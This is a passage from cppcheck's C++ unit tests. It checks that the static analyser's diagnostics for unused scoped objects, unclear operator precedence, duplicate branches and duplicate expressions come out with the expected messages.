check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) 